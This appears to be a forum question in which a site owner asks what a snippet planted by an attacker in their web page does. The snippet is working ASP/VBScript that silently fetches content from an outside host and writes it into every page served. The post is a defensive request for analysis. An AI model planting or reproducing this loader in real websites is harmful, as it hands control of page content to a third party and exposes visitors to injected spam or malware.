一个黑客在我们的网页里嵌入的一段代码，帮忙看下什么意思
Dim lvurl Dim lvcontent Dim lvxmlhttp On Error Resume Next lvurl = "http://jzb365.com/f/qdlib.php" set lvxmlhttp = CreateObject("MSXML2.Serverxmlhttp") On Error Resume Next if lvxmlhttp is nothing then set lvxmlhttp = Server.CreateObject("WinHttp.WinHttpRequest.5.1") end if On Error Resume Next if lvxmlhttp is nothing then set lvxmlhttp = CreateObject("MSXML2.Serverxmlhttp.4.0") end if if lvxmlhttp is nothing then 'cannot load xml component else lvxmlhttp.open "GET", lvurl, false lvxmlhttp.send "" if lvxmlhttp.Status = "200" then lvcontent = lvxmlhttp.responseText if InStr(lvcontent, "<Error >") > 0 then If Err Then Response.write Err.Description lvcontent = "" end if Response.write lvcontent end if set lvxmlhttp = nothing end if